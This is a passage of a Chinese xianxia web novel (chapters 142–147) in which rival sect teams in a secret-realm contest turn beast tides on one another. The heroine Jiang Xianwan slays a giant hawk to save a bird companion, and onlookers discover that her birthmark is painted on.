按照系统说,狼太灰会在虚古境遇到危险,她搭手相救,被后者一见心许。 一个个美人图鉴,接二连三出现异常,可以说,林轻染早已心塞的有些麻木。 系统:“后台监测,苏清流和狼太灰他们分两个方向离开,妖域小队去的是那群金狮异兽的方向,江献晚他们朝这个方向来了。” 林轻染敛下心思:“就怕他们不来,这次,江献晚他们定没那么好运了!” 琉璃玉骨!变异灵根! 包括苏清流三人,都将成为她林轻染的养料! 还有那些嘲笑她的该死的亲传,一个都别想跑掉! 林轻染眼眸暗色涌动,隐隐还有一丝即将搞事的亢奋。 望着远处一片密林,羞赧地开口,“大师兄,我听到了水声,那里还有几棵灵果树,不若正好看一看附近有没有什么稀有灵植?” 裴长安抬眸观察了一下,轻轻颔首。 林轻染的运气向来不错,这么一路走来,没遇到什么棘手的异兽,反而寻到了不少灵植。 其他人更是没意见。 林轻染运气好的让人惊叹,她随手指个方向,灵植全是一大片一大片的。 另一边,打算从北侧包抄的妖域小队,却打开了另一种思路。 想到江献晚随口提了一句,不久前被兽潮攻击,狼太灰露出一抹邪恶的笑容。 江献晚他们只是想坑北境小队一把,最多奔着将他们清出局,大约不会下死手。 而且,以他和南境之间盏茶功夫的交情,还没好到穿一条裤子的程度。 到时打起来,南境虽不至于反水,恐怕也不会出全力。 倒不如…… 狼太灰精明地眼珠子,一转。 他若是引了一群异兽去攻击北境的弟子呢? 弄死几个解气,还能替江献晚他们出口恶气,增进与南境的交情。 想到这里,狼太灰下巴一抬,臭着脸对探路的白天鹅道:“白羽,你不是想在玄古大赛体现咱们妖域的荣誉吗?” 白羽:“……?”你终于长脑子了? 一分钟过后,妖域小队朝着金狮异兽的老巢狂奔而去。 南境小队不紧不慢,一边杀异兽,一边再次跟上北境小队。 第 142 章 结果不变 何未语偏头,“我有个想法,若是成功干掉北境,咱们要不要来个反杀,将妖域小队也送出去?” 林玉锦差点吓死,头摇的跟拨浪鼓似的,严肃道:“这个想法很好,不许再想了!” 那可不成! 他们是很想收拾狼太灰,可妖域队伍中还有风回雪的心腹。 风回雪可是小师妹的人,把妖域干出局,行行知道了,得多伤心啊! 就算要一争高下,也不能先干妖域。 修言抬头看天,有些淡淡的忧伤,“这岂不是伤了太灰的心?” 白子夜:“不是,你对他有感情了?” 修言:“……”对呵,他们是妖域的哈! 差点就爱上了! 与此同时,玉简忽然传来一阵灵力波动。 苏清流垂眸,“北境小队获得一枚碎片。” 小伙伴们不约而同道:“走!” 人头和碎片,这不就来了? 这一点,北境小队,可真是不要太体贴! 他们速度提快。 然而,没走多远,一阵熟悉的大地摇晃,夹杂着狂怒叫吼声,以一种极快的速度再次逼近。 南境小队:“……?” 修言脸都绿了,“我怎么听着这声音好像是冲我们来的?又来!” “这事过不去了是吗?” “还是捅了兽潮窝了?” 谈话间,只见,滚滚尘雾中,北境小队身后赫然跟着一片异兽潮! 愤怒捶胸,数十只的长臂异猿,还有其他奇形怪状的异兽。 方向正是他们这边! 数量不亚于之前的那波。 江献晚看着最前方撒丫子奔跑的裴长安和林轻染,忍不住“啪啪”鼓了两下掌。 女主,实在是妙啊。 这努力要是用在正道上,干什么都会成功的。 林玉锦破口大骂,“北境这群孙子!竟引着那群异兽朝我们来了!” 何未语作出冲刺的姿势:“计划有变!跑!” 江献晚格外淡定,“等等。” 她一出口,准备拔腿跑的小伙伴,下意识刹止住脚步,站定了。 修言望着那一片熟悉的,如浪潮般涌动的兽潮,腿有点软,“江师妹,咱们是要等死么?” 江献晚朝上看了一眼,“对。” 计划有变,结果不会变。 死的只会是北境。 白子夜:“嘻!有趣!” 苏清流:“要看。” 小伙伴:“……” 驻足的片刻,北境小队同那片波澜壮阔的异兽,距他们不过两百米远。 裴长安一边狂奔,在看到前方的南境小队,神色一变再变。 他们取碎片的时候激怒了长臂异猿,打斗的动静又惊动了更多附近的异兽。 不知不觉,奔跑逃亡的路上,迅速形成了数量可观的兽潮! 裴长安此刻纠结的要碎了。 他是真的很不想与江献晚他们对上。 可这是比赛,不是友谊联动。 第二次很有缘分的撞上,总不能一直掉头不作为吧。 裴长安边跑,边纠结。 既然再次撞上南境小队,不若,借着发狂聚成一片的异兽潮,将南境小队清出局。 等出去后,再摆上一桌,同江献晚他们好好道歉? 他咬了咬牙,那句“江师妹,得罪”到了嘴边,不由自主,变成了—— “江师妹!快跑——!” 江献晚:“……” 还别说,裴长安人品真的没得挑。 都没说让他们帮个忙什么的。 而发丝衣裳凌乱,满身狼狈的裴长安看他们没一个人跑,又是感动又是着急,一道白影却忽然从他身后掠过。 他缓缓张大了嘴巴,瞬间茫然的表情定格。 林轻染越过他,身形快若闪电,直直朝着南境小队去了! 少女白裙翩然,阴鸷的目光落在似乎受到了惊吓,僵站在原地,连跑都没想起来的南境小队,仿佛已经看到了他们即将被异兽撕成碎片的下场。 江献晚! 去死吧! 只要她死了,琉璃玉骨,变异灵根,都将是她的! 还有那些美人图鉴! 属于她的东西,都会回归正轨。 全部该回来了! “系统,快!让它们杀了江献晚那个贱人!” 裴长安错愕于林轻染麻溜的举动。 剑芒崩裂,试图阻挡前仆后继的兽潮。 然而异兽的数量太过庞大,只能眼睁睁的看着上百只异兽呼啦啦追着林轻染,一起冲向了南境小队! 这一幕变故,使得裴长安身影一滞,脚步踉跄一下。 尤其在他看来,江献晚他们似乎是吓傻了,仍然傻愣愣地站在那里,连手都抬不起,没有任何反抗的迹象。 裴长安红了眼,急急嘶吼,“快躲开!” 望着再次突如其来,又熟悉无比的惊心动魄的场面,秘境外观众纷纷倒吸一口凉气。 “卧槽!又是兽潮!” “南境太衰了吧!还没将北境一军,反被北境坑了一波大的!” “虽然小队和小队之间的较量必不可免,裴长安好歹纠结的快哭了,还是选择善良放弃,可林轻染也忒狠了吧!想都不想,直接就把兽潮引过去了?” 有修士反驳,“这本来就是大赛啊,借助兽潮,让对方分担一波异兽,指不定还能清出去几个对手,也没什么不对吧。” “呸!”另一个南境修士顶了回去,“为了赢,好没道德!” “江献晚他们刚才不是也想和妖域联手坑北境?他们就有道德了?” “那怎样?是林轻染先嘴贱!人江献晚他们是和妖域联手了,但人家也没引着异兽去攻击北境小队吧?” “再说,江献晚本来就没道德!没道德怎么了?劳资就喜欢她这样式的没道德!不像林轻染,恶毒!” 解说员的声音在吵吵嚷嚷中急促而沉重,恨铁不成钢,“江献晚他们在干什么!跑啊!拔剑啊!搞事啊!林玉锦炼的交欢丹不是还有剩余,为什么还不拿出来!” “他们是吓傻了吗!” “话说,林轻染有必要这么绝?若是传送不及时,死也是瞬息之事!” 雾渺拧眉,眼底笼上一层晦暗之色。 先不说妖域小队也同样干着这种损事。 林轻染这性子似乎真的有些歪。 玄古大赛,使些手段将其他小队清出局,哪怕是交好的两境会相互出手也在所难免。 可,这种做法,再怎么着,正常人都会犹豫一下吧。 雾渺面色有些阴沉,愈发有种难以言喻的复杂。 或许,片刻的同情,收下林轻染,真的是……一个很错误的决定。 第 143 章 战火拉满 这复刻的一幕,南境高层的表情相当扭曲。 兽潮! 又特么的是兽潮! 这坎过不去了是吧? 徐燕洲虽然知道这群兔崽子猴精猴精的。 不跑,指定是想到了对策,没憋好屁。 难免还是捏了一把冷汗,低声骂道:“都什么时候了!装什么大瓣蒜!眼睛被腚坐住了?倒是吱一声啊!” 铁长老默默无语:“……”你终于还是变异了? “老铁,你怎么看?” 铁长老优雅地翻了个白眼,内心被锤炼的掀不起半分波澜,“我瞪着俩眼珠子看。” 他能怎么看? 瞅那一个个兔崽子装的小脸苍白,表情惊恐,随风摇曳着淋漓尽致的绝望。 眼冒精光的小模样,上看下看,左看右看,怎么看,都是搞事的兴奋。 他忽然噤声,随着眼前很快颇为戏剧性的转变,一脸‘我就知道!’的无力吐槽。 天青宗和道明宗俩掌门本来还有点紧张在身上的,这会儿机械地抬起手,啪啪鼓了两下掌,“牛逼。” 好家伙…… 白担心了! 也是,有江献晚这个邪祟坐镇,他们宗门的宝贝还能被人给坑了? 第一次兽潮,他们都能配合的很好,江献晚更是临场发挥,想出交欢丹这种变态又很有用的丹药。 那么,再来一次,这点小兽小潮,屁都不是。 更别说大尾巴狼被江献晚哄的跟个胎盘似的,江献晚说什么,他都点头。 狗都没他好训。 还吭哧吭哧,挑逗了一大圈的异兽。 北境小队死定了,挂科,捞不了一点。 徐燕洲嘴角大大一咧,自豪的挺直胸膛,“那可不,也不看看最狗的是谁家兔崽子!” 铁长老:“……” 你是不是忘了,那个弯腰驼背,捂脸绝望,多少次午夜梦回,头都悔秃的你自己了吗? 不过,得亏这次大赛来的是江献晚他们。 若是时云霄秦秦等人,再怎么被她毒打出了经验,恐怕也不会及时想出这么狗,还有用的办法。 灵幕中,南境小队看似摇曳,实则眼珠子转的滴溜溜飞快。 苏清流在异兽掀起的罡风扑面刮来时,恹恹的将睫毛一垂,姿态倦懒的不得了。 这副下一秒就能原地睡着的样子,哪里是怕的要死,分明是一肚子坏水,尽等着往人家身上使了。 江献晚望着十米开外,黑压压的兽潮,还算满意。 女主可真小气。 这数量,这阵容,一看就是有强烈的个人情绪在里面的。 她耳尖微微一动,听到又一波稍远些的巨大动静,唇角勾起一抹意味深长的弧度。 狼太灰果然是个能搞事的,没让她失望,听起来数量不少。 这要是一汇合,那还不直接将战火一整个拉满。 不过,林轻染倒真是叫人开了眼。 她掩饰的再好,江献晚还是敏锐发现,兽潮的出现,果然与女主有关。 尘烟枯叶乱飞。 那身形疾掠的白衣少女,与始终一动未动的青衣少女,目光在空中交汇,彼此心照不宣一笑。 林轻染有些疑惑。 可即将重击江献晚他们的狂喜,显然压倒了那点疑惑。 大地摇晃,尘土漫卷,笼罩两方视线。 林轻染和兽潮冲来的那一刹那,江献晚不避不退,忽然闪身欺近,探指朝她袖中的碎片麻溜一勾。 与此同时,一声清利的啼鸣骤然划破长空。 在江献晚顺势一拳捣向林轻染腹部,一群羽毛鲜亮的蓝色异鸟宛如利刃劈开夜色,从天空俯冲而下。 风一般朝着南境小队刮了过来……眨眼消失。 林轻染腹部传来剧烈的痛感,瞳仁骤然一缩,脑袋瞬间就空了。 她维持着倒飞出去的模样,瞳孔中映着被异鸟抓到半空的十二人,还有朝她晃了晃手中碎片的江献晚,仿佛被一只无形的手扼住,全身血液顷刻凝固,脸庞失去所有血色。 就在系统当机立断,准备操控那群异鸟,和其他空中异兽,攻击江献晚他们,林轻染脑中猝不及防响起一阵刺耳的声浪。 系统——死机了! 她整个人跌入一片被系统催至发狂的兽潮,像是跌入寒冰刺骨的深渊,终于回神,发出尖锐的叫声。 “师妹!” “林道友!” 局面再次戏剧性反转,被异兽重重包裹的裴长安两眼一抹黑,破口大骂的心都有了。 她一会儿不搞事,身上就刺挠吗? 这下好了,人家跟鸟飞走了,她自个挨了一拳头,落入兽潮的怀抱! 救吧,恶心。 不救吧,丧良心。 裴长安又是松一口气,又是重新悬起另一口气。 来不及想,剑气泼纵,逼退眼前异兽,脚尖一点,飞快掠向朝林轻染。 他就算再不喜,林轻染毕竟是他师妹。 哪怕是其他小伙伴,也绝无见死不救的道理。 而这些突然失去系统操控的发狂异兽,开始平等的创飞每一个人类。 南境小队完美隐身,在半空中被异鸟带着,炫了好大一圈,只余北境小队淹没在兽潮之中。 剑光法器齐飞,异兽咆哮嘶吼,鲜血喷溅如雨,怎的一个乱字了得。 江献晚俯视着襟飘带舞,奋力厮杀的裴长安,眸光微微动了动。 她很快收回视线,摸了一把异鸟的羽毛,“你是蓝宝亲戚?你好,我是它朋友,这是见面礼。” 蓝宝亲戚:“……”叼走她手中的丹药。 修言一只手抓着异鸟羽毛,后怕的拍了拍心口。 “吓死我了,差点被长臂异猿撕成两半,指甲盖都怼我脸上了。” “我就说江师妹狗狗祟祟趴蓝宝脑袋上合计什么呢。” 何未语圈着异鸟的脖颈,发出辣评,“林轻染就好像那个煞神。” 林玉锦坚信,“对!” “不过,我觉得她克人的功夫实属有点拉,反噬最起码十倍。” 远远不止。 他们望着狼太灰引着一片兽潮狂奔而来,一时间看傻了眼。 “嘶!这小狼,干的漂亮!” “简直如神兵天降,不要太给力!” “桀桀桀!我宣布,北境就今天毕业!” 从那些修为都不低的异兽,可以看的出,狼太灰同样是有极强烈的个人情绪在里面的。 林轻染仙气泠泠的模样,不复存在,白衣被尖利的兽爪撕裂,染上刺目的猩红,狼狈不堪。 更恐怖的是。 她注意到妖域小队引着上百只异兽,宛如浪潮奔涌,直直地朝着这边涌来! 这一眼,如坠冰窟,心跳骤停,手臂再次被撕开一道狰狞的口子。 第 144 章 我帮你顶着 狼太灰他们来的刚好。 将林轻染引着兽潮扑向南境小队的一幕,尽数看在眼中。 果然! 北境的贼都是孙子! 比他还损! 白羽眸光一冷。 敢伤殿下的人,找死! 妖域小队前所未有的团结,齐心协力,带着兽潮,朝北境小队迅猛地扑了上去! 即将重叠的这一刻,有翅膀的振翅一飞。 灰太狼和豹妖他们,速度体魄生来得天独厚。 各个灵活一个闪现,轻轻松松跃上树干,纵跳间,迅速遁逃。 而第二波赶来的兽潮,发泄的目标,自然而然落在混乱厮杀在一起的人族与同类,顺利加入。 北境小队的心,在这一刹那,彻底凉了。 怎么都没想到……事情的起因,是来自一根黄溜溜的香蕉。 从而……引发了一场饼夹肉馅般的生死大战。 话说……林轻染没事朝人家扔什么烂香蕉! 说了又不听,不让扔非扔! 这下好了吧,大家都玩完。 片刻的功夫,北境小队有六个弟子相继撕碎了传送符,被弹出秘境。 厮杀并未因此停止。 狼太灰满意地欣赏着远处的大乱斗,尤其那个偷了他鼎的女贼,一把鼻涕一把泪,尖叫声一阵高过一阵。 顿时觉得憋了许久的气变得无比顺畅,叉腰哈哈大笑三声。 “活该!狗东西!敢偷小爷的乾坤鼎!” 偷了还不承认! 就没见过这么臭不要脸的卑鄙小人! 笑罢,好心情地朝江献晚他们狂摆手臂。 南境小队齐刷刷朝他伸出一个大拇指。 牛逼! 雾渺晦暗的视线定格在被兽潮淹没,进退无门的白衣少女,眼底隐有冰霜缓缓凝聚。 林轻染的性子,着实该好好掰上一掰。 自家宝贝亲传被摆了一道,南境高层脸色还是有些臭。 于是乎,一致扭过头,杀气腾腾的目光,活似淬了无数脏话的小刀子,嗖嗖向北境高层无差别削去。 你们这群孙子! 孙子——! 北境高层:“……”真的,他们骂的好脏。 而此时,南境小队和妖域小队心照不宣,迅速撤离战场。 那群数量庞大的兽潮,足够重创北境小队。 狼太灰仔仔细细看了看江献晚,确定她没有受伤,露出后怕的神色,“刚才远远看见那女的领着兽潮扑向你们,真的吓了我一跳,可太恶毒了。” “要是他们有人侥幸逃脱,等下次碰见,我再弄死他们替你们出气!” 白羽:“……”你狼还怪好勒。 这笨狼倒是歪打正着,做了一件好事。 就是不知道,他要是知道江献晚把他当狗玩,会不会哇哇大哭。 看着骂骂咧咧,颇讲义气一拍胸膛的大尾巴狼,江献晚眸光动了动,未语。 如果他不对风回雪和江行行下手,可能会有一点点可爱。 可,如果只是如果。 江献晚轻轻落下半扇睫羽,遮去眼底暗色。 江行行是她的命。 风回雪,亦是。 在三支小队搞出了这么一场视觉盛宴,一心沉迷合欢术的魔域小队,滚草地的时候,滚到一枚碎片。 苏清流收起玉简,“魔域找到一枚碎片。” 白子夜:“嘻……抢它?” 正笑着想说什么的江献晚,察觉到什么,抬眸望向远处天际,神色微微一沉。 其他小伙伴也注意到了。 一只体型巨大,几乎赶上成年男子的异鹰,伸着长达三米的羽翼,宛如一支离弦的钢矢,笔直的撕裂凝固的空气。 那只体型比它小两倍的蓝色异鸟,急遽下坠,不断灵活变换方向。 有意无意的挑衅,一己之力吸引异鹰的注意力,为同伴争取逃跑存活的机会。 它翅膀剧烈扇动着,一次次擦着巨鹰的铁爪而过。 其它异鸟惊骇欲绝,发出不甘而绝望的嘶鸣。 不愿丢下同伴离去,试图攻击那只异鹰,却被一股强横的力量冲飞。 吸引异鹰的那只蓝色异鸟很快被追上,随着夹裹着雷霆万钧之势的黑影笼罩头顶的方寸天空,一块沾着羽毛的血肉,被异鹰尖利刚硬的利爪狠狠撕下。 江献晚甚至可以听到骨骼在爪下发出的细微的呻吟。 厉声一喝,发足跃上树枝。 “蓝宝!过来!” “小师妹!”林玉锦惊呼,指尖抓了空。 苏清流抬手拦下白子夜他们,视线追逐着那抹青衣。 “让她去,你们去看看那些受伤的异鸟,我守着。” 小师妹可以的。 她其实一次都没真正的发挥过实力,也不知自己的实力在哪。 就好像,遇强则强,永远没有定义。 只是缺一个临近点。 铁长老都能给她干趴下,更何况一只长毛的小鸟。 苏清流怀揽长剑,清亮的眸子始终追随着江献晚,眼底是温柔的笑意。 其他小伙伴对江献晚的能力一点都不怀疑,忙呼唤那群异鸟过来。 那只拦下异鹰的异鸟正是蓝宝。 听到熟悉的呼唤声,发出一串细碎惊惶的幽咽,在绝望中抓上了一根救命稻草。 毫不犹豫掉头,宛如一团蓝色的火焰,再次向高天攀升,仓皇朝着江献晚冲去。 江献晚青衣翻飞,拂起鬓边几缕青丝,发足轻跃到蓝色异鸟的背部。 待看到它血肉模糊的羽冠,往它嘴里塞了一颗丹药。 “别怕,我帮你顶着。” 身躯微微颤抖的异鸟奇异的镇定下来,双翅用力一震,仿佛瞬间有了底气,一声斗志高昂地清利啼鸣冲破云霄。 明明这个少女的修为远不及那只异鹰,可此刻,它竟觉得有种背靠强大后盾的心安。 江献晚一截纤细的雪腕若隐若现,掌心轻缓的隔着羽毛,抚慰它心跳震颤。 指尖一抹流光轨迹旋转,万道纤细如发丝的光轨,恰似薄冰炸裂,自星轮中在夜色荡开层层涟漪。 留下细碎、尘屑般的冷光结晶。 她声音很低,竟也似染上两分寒意。 “蓝宝,冲过去,咱们弄死它。” 蓝宝一声啸鸣回应,急转掉头。 双翼猛地一收,身体倏尔紧绷,而后,如同强弓拉满后,骤然松弦。 风声顷刻尖锐起来,凄厉地灌入耳膜,仿佛无数的刀刃贴着皮肤刮过。 两只异兽撕裂空气的锐响,笔直朝对方直接爆冲。 巨翼带动罡风,江献晚以灵力强势将蓝宝护的滴水不漏,一手轻轻抚了抚它的背部。 指尖星轮运转加速,仿佛整片悬浮的星辰活了过来。 第 145 章 安危与共 流淌的光轨线条,将空间扭曲,呈现出微妙的折叠感,挟裹着令人心悸的眩晕,和虚无缥缈的剑意,直奔着异鹰爆裂。 两只体型相差极大的异鸟,羽翼几乎擦着错过。 时间在这一刻被无形拉长,始终注意着她的苏清流,眼底划过一丝诧异,唇角便轻轻牵动。 小师妹不仅将那些剑意揉合在一起,甚至,那星轮隐约有灵识衍化,凝聚为模糊光影。 这一回合不过呼吸之间,两方都没讨到好处。 江献晚面颊被利爪抓出两道伤痕,血珠顺着下巴滚落,显得有些狰狞可怖。 沉闷的撞击力让异鹰翅膀剧烈的扇动了一下,背部被强悍的剑意割出几道反卷的深痕,羽毛宛如染红的雪花,洋洋洒洒。 解说员又在死命地摇晃树枝,“这是江献晚的法器吗?没想到我们修士也有和异兽安危与共的一天!” “江献晚可真牛逼!她竟然为了蓝宝不顾危险,对抗化神巅峰异鹰!” “越阶杀敌!什么概念!不愧是江献晚!” “此情此景,叫人热血沸腾!” 一阶之差,便如天堑。 可江献晚,就是能踏过这天堑。 就是……有点懒。 通常不大能看出来。 “快看!异鹰彻底怒了,又掉头冲过去了!” 那金色兽瞳的异鹰,双翼鼓荡,沉重拍打空气,重新腾空,发出一声尖锐长鸣。 翅尖割裂夜色的凛冽弧度,沉甸甸的阴影擦着云层,再次朝江献晚他们扑面撞来。 “找死。” 江献晚端坐如初,眸光淡淡,冷白的指尖星轮飞速转动,轻轻又一拍蓝色异鸟的背。 两只异鸟呼吸间如箭矢般,再次擦身而过。 漫天柔和如碎星的光芒泼洒中,随着一声嘶厉啼鸣,异鹰徒劳的抽搐被一股强势的力量碾碎。 双翅齐根被斩断,直直从天空坠落。 江献晚挥袖将星轮收入芥子囊。 她坐在异鸟背部,指尖拭去面颊血珠,因眼底寒烟渺渺未散,凝着浅薄冰霜,抬眼时,令人心头一颤。 “漂亮!”小伙伴在底下挥臂齐声大叫。 “漂亮!”讲解员同样大吼一声,“江献晚只用了两招就斩杀了一只化神巅峰期异兽!不得不说,她刚才的动作更是迷死个人!” “话说,那星轮似乎蕴藏着许多恐怖的剑意?不管了!我决定了!江献晚从今天,哦不,从现在起就是我的女神!” 异鸟仰颈啼鸣,转头轻轻啄了一下江献晚的手指,再次攀向高空,兜了一圈。 带着一身的月色,平稳飞向苏清流。 苏清流不由自主快步迎上,双手伸出,江献晚笑着轻盈一扑。 “大师兄。” 苏清流将她放下,待目光落在她面颊的伤口,抿了抿唇。 异鸟纷纷围上蓝宝,互相交颈,为彼此梳理凌乱的羽毛。 没有拒绝摸来的几只手,还有一群叽叽喳喳,围着它们,又是掰嘴,又是往它们脑袋和身上涂抹粉末的修士。 何未语心疼的不得了,“瞅瞅,头都秃了。” “没事,秃了还能长。”修言一边趁机占鸟便宜,一边婆婆妈妈,“放心,我这抹药的技术杠杠的,绝不叫你头秃,你要怕,一会儿带走些口服的丹药,毛几天就长出来了。” 蓝宝浅蓝色的瞳仁盯着江献晚的面庞,从小伙伴中间挤出来,用脑袋轻轻蹭了蹭她,低低轻啼。 江献晚笑着摸它的冠羽,“一点不痛。” 又揶揄道:“快回家吧,别让老婆孩子等着急了。” 蓝宝啄下那根最美丽的翎羽,收下江献晚给它的一袋丹药,深深看了一眼江献晚,随同伴展翅消失在夜幕中。 “快看!这只异鹰爪子上绑着一枚碎片!”为异鹰收尸的修言惊喜出声。 “这的确是个惊喜!”解说员嗷嗷摇树,“什么是好人有好报?这就是!” 南境小队再次收获一枚碎片,北境小队只有裴长安和林轻染从兽潮中逃出生天。 灵力体内耗尽,浑身大小伤口无数,不得不找个安全的地方驻扎休整。 万象星垂,银河横贯泼墨夜色,月亮悄无声息爬上高高的树梢,映的天地一片银辉。 夜晚的虚古境危险更甚,许多潜伏在暗处的异兽愈发难以察觉。 陆续不停杀了一日,又或者内讧了一日的各小队早就疲惫,商量好一般,各自开始寻安全之地,准备过夜。 虚古境外的观众或盘膝打坐,或直接挂在树杈上闭目养神。 主要是怕……前脚挪窝,后脚就没位置了。 南境小队的驻扎地背山,周围空旷,只有几棵参天巨树。 布下几道防御阵法,在周围撒过驱虫粉末,他们简单的商量了一下,苏清流主动提出守上半夜。 上蹿下跳,忙活一天,其余人没有精力打坐,只想好好睡上一觉。 江献晚他们芥子囊中的床和被褥显然派上了大用场。 四张大大的床榻,天青宗和道明宗六个男弟子合睡两张,三个女修同睡一张,剩下苏清流白子夜和林玉锦挤在一处。 除了太虚宗,其他男亲传刚躺下去,鼾声四起,睡的四仰八叉,还能整两句梦话。 仔细听: “三条!” “我碰!” “糊了!” “快掏钱!” “汪!” 江献晚:“……” 苏清流他们睡不着,将江献晚轻轻摁坐在剩余的那张床边,脸色都不怎么好看。 江献晚一瞅这架势,就有点坐不住。 只能心虚的把手伸到苏清流面前,“大师兄。” 苏清流抿唇,作势要打,指尖却小心翼翼碰了碰她面颊干涸的血迹。 “疼吗?” 白子夜绷着脸扯了江献晚的手,轻打她手心一下,“大师兄你别心疼她,该打。” “打什么打,别打了,先让我给她擦药。”林玉锦不放心,第一次突破自己,炼出一瓶六品丹药,匆忙走来。 掰过江献晚的脑袋,细心轻柔的用沾了水的手帕擦去她脸上的污血,擦的那恨不得焊在脸上的红晕也化开。 少年眉心紧蹙,不笑的时候,漂亮的脸蛋看起来多了几分罕见的严肃,“那异鹰的爪子脏,伤口又这么深,万一留下疤怎么办?你们别闹。” 第 146 章 长得可真厉害 她又不是靠脸吃饭。 白子夜面色有些沉,忍不住一巴掌轻呼在她脑袋上,“别逼二师兄揍你。” 林玉锦反手推他一把,难得有些生气,“说了别打了,她本来就傻,以后又丑又傻怎么办!” 江献晚:“……” 她捏起苏清流的衣袖作势伤心抹泪,吓的苏清流和白子夜齐忙按住她的手。 “别乱动,先让小师兄擦药。” 江献晚便不动了,乖乖的仰起脸,由着两个师兄一人握着她一只手。 林玉锦抹了一层又一层,恨不能将那张脸整个厚厚糊一遍。 “咦?”解说员掀开疯狂打架的眼皮子,盯了江献晚的脸十秒,哆哆嗦嗦抬起手指,“她,她,她的胎记!” 一句话,引的闭目养神的人魔妖顺着声音,纷纷睁开眼。 徐燕洲微微张大嘴巴,看着那个样貌极为秾滟嚣张的少女,揉了揉眼睛,陷入深深的自我怀疑。 疯狂摇醒铁长老。 声音无不惊悚,“老铁,你快帮我看看,那是咱家的兔崽子吗?” 铁长老抬起眼皮一瞅,十秒后,倒吸一口凉气,“好像,是的。” 嘶! 小兔崽子要是拿这张脸对着他们,揍她的时候还真下不去手。 俩人听着四下此起彼伏的抽气声,沉默,沉默,一个劲的沉默。 小兔崽子长得,可真是……厉害了。 “不是吧,那不是胎记吗?为什么会化开?” 一片吸气声后,寂静的夜晚再次展开热火朝天的讨论声。 “我去,是我眼花了吗?江献晚的胎记是假的?!谁快来给我一拳啊!” 旁边的妖修毫不犹豫照他脸上来了一拳,“说谢谢。” “嘶,真疼,谢谢。” “不客气。”玫瑰花妖打完他,迅速转过头,脑袋上噗嗤冒出一朵左右摇摆的玫瑰花,含羞带怯,“江献晚也太好看了叭!想嫁。” “她故意画成这样干嘛?是怕我这样贪图美色的人见色起意,拿麻袋当见面礼吗?” “她的真想多了……就算胎记不是假的,也挡不住我稀罕她!” 其他观众纷纷点头,表示赞同。 回头,买个麻袋。 这种又有病,又厉害,又好看的,老稀罕了。 云舟上所有人,还有鱼和玄龟,紧紧的望着悬浮在半空中的灵幕。 记住本站: 同样细细看着江献晚面庞的三个少年,眼底亦在震颤。 没发现有块灵石早就被修言翻身蹭的一歪,刚好正对着他们。 三个少年并排盘膝坐在草地上,认真猛瞅自家小师妹,眼都不带眨的。 他们知道小师妹很好看,现在又对这种好看上升到一种无法言语的高度。 林玉锦双手捧脸,看的着迷,笑的荡漾,好像那张脸是他自己的一样,“我小师妹最好看了。” 白子夜捶他一下,“用的着你说,小师妹本来就最好看!” 苏清流忍不住拿指尖轻轻戳了一下江献晚的面颊,唇角勾起明显的弧度。 “都好看。” 江献晚轻咳一声,“二师兄,小师兄,你们要不要摸摸?” “要!”白子夜和林玉锦同时伸手,将她面颊戳出两个浅浅的小窝,笑的一脸不值钱。 江献晚抿唇轻笑,觉得三个师兄看够了,掏出一面镜子,还有几盒胭脂水粉,熟稔的上妆。 她涂的仔细,仿佛画过千遍万遍,与之前的位置分毫不差。 扬外观众:“……” 真的不用画了,我们已经发现你的小秘密了! 何未语没有睡着,一直在琢磨江献晚那两道剑意,从头到尾,将这一切,尽收眼底,被那张脸美的张大了嘴巴。 她手抚上心口,结结巴巴,出声道:“江,江师妹,你真的是我见过的最好看的美人。” 苏清流三人:“……?” 江献晚搁下手里的胭脂,回头眨眨眼,“那,何师姐,你有没有爱上我啊?” 何未语被她眨眼眨的心跳噗通噗通加速,拿手捂住发热的脸,低声懊恼,“啊!可恨,我为何不是男儿身!” “这样就可以嫁给江师妹了!” 苏清流三人:“……” 异口同声催促,“小师妹快画!” 他们可不想防完男人防鱼,还要去防女人! 在两境三域前掉了马甲的江献晚,很快收起伪装工具。 听着小伙伴们传来的平稳呼吸,她还不想睡,用星轮作灯,又掏出一个麻袋趴在床上画符。 白子夜还在笑,止不住,一点儿都止不住。 盘腿坐在草地上,也捏着笔,沾了符墨,将符纸搁在床榻边,时不时看一眼自家小师妹。 林玉锦心情格外激动,睡不着,根本睡不着。 这会儿有的是力气,在稍远的地方架起锅,炼制白日里在秘境中寻到的灵植。 苏清流后背微微抵着床榻,默默陪伴,一边警惕四周。 记住本站: 虚古境外众修高涨的议论声好大一会儿才消停,有人又惊悚低呼,“我去!那是什么?” 只见一条狗狗祟祟,从头到尾写满猥琐的紫色劫雷,在空中到处飘来刮去,抽风似的,扭成嚣张的麻花。 人魔妖望着逐渐暴躁扭曲成’江献晚,你个娘们死哪了?!’一行大字,外加符号,再次爆发出激烈地讨论。 “江献晚是要突破了吗?可她身上看起来并无庞大的灵力波动。” “那紫色劫雷怎么看起来好猥琐的样子?” “它大晚上找江献晚做什么?” “江献晚该不会是干了什么缺德事,坑过这劫雷,人家来找她寻仇了吧?” 察觉异常的苏清流掀开乌睫,望着那条在夜空中无比风骚而耀眼的闪电,陷入沉默。 这傻孩子,怎么追到这里了? 想了想,准备视而不见,却见紫色劫雷嗖地一下,活像见到自己的亲娘,迅雷不及掩耳之势,蹿了过来。 精准无误的盘在了江献晚的脑袋上。 众修:“……!” 熟悉的麻意席卷全身,江献晚抽搐着扯下一盘蚊香似的,闪闪发光的紫色劫雷,相当无语,“你是想电死我,好继承我的遗产吗?” 苏清流白子夜:“……”它会花吗? 可能……还真会。 记住本站: 第 147 章 嘴又贱 江献晚:“……” 林玉锦离老远都看懂了:“没事,明天就不丑了,你先凑合着看,还有,别碰到她的伤口。” 小紫又戳了戳江献晚,后者无奈地扒拉它。 “别闹了,忙着呢,没时间给你讲故事。” 那怎么行?! 它累死累活,赶了这么久的路,跑的都瘦了。 小紫连翻带滚好一阵耍赖,干脆缠上她的手,捆成蝴蝶结。 强烈抗议:我万万里迢迢,还跟太虚宗的弟子打听了一下,好不容易找过来的!我不管!就要听!现在就听!你得给我讲! 时云霄进阶,它劈完了他,顺便问的。 成功进阶后,被劫雷缠的躺在地上,浑身抽搐,口吐黑烟的人形黑炭时云霄,默默而绝望地承受了这一切。 并在小紫心满意足离开后,发出一阵凄厉的癫狂嘶吼:“江献晚!我特么与你,势、不、两、立——!” “你俩给我等回来了!” 原以为江献晚的离开,可以让弱小无助的他喘口气,默默治愈一下受伤的小心脏,养精蓄锐,反败为胜。 谁知道小紫那条小心眼的狗东西,公报私仇,劈了他整整十天十夜! 还当着太虚宗上下的面……把他劈的只剩条底裤! 吊在树杈上,迎风摇摆! 人干的事,它是一点不干! 都是江献晚给带的!!! 